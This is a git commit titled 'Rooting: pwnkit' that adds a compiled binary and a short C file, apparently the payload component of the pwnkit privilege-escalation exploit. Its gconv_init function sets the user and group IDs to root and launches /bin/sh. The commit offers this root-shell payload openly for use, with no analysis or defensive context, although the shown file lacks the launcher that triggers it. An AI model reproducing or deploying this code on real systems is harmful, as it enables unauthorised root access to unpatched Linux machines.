Rooting: pwnkit

This commit is contained in:
syn 2025-02-24 14:48:20 +07:00
parent b72f9ac891
commit 282a1feaf0
2 changed files with 20 additions and 0 deletions

BIN
rooting/compile/pwnkit Executable file

Binary file not shown.

20
rooting/pwnkit.c Normal file
View File

@ -0,0 +1,20 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) { }
void gconv_init(void *step) {
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}
int main() {
printf("Exploit executed!\n");
return 0;
}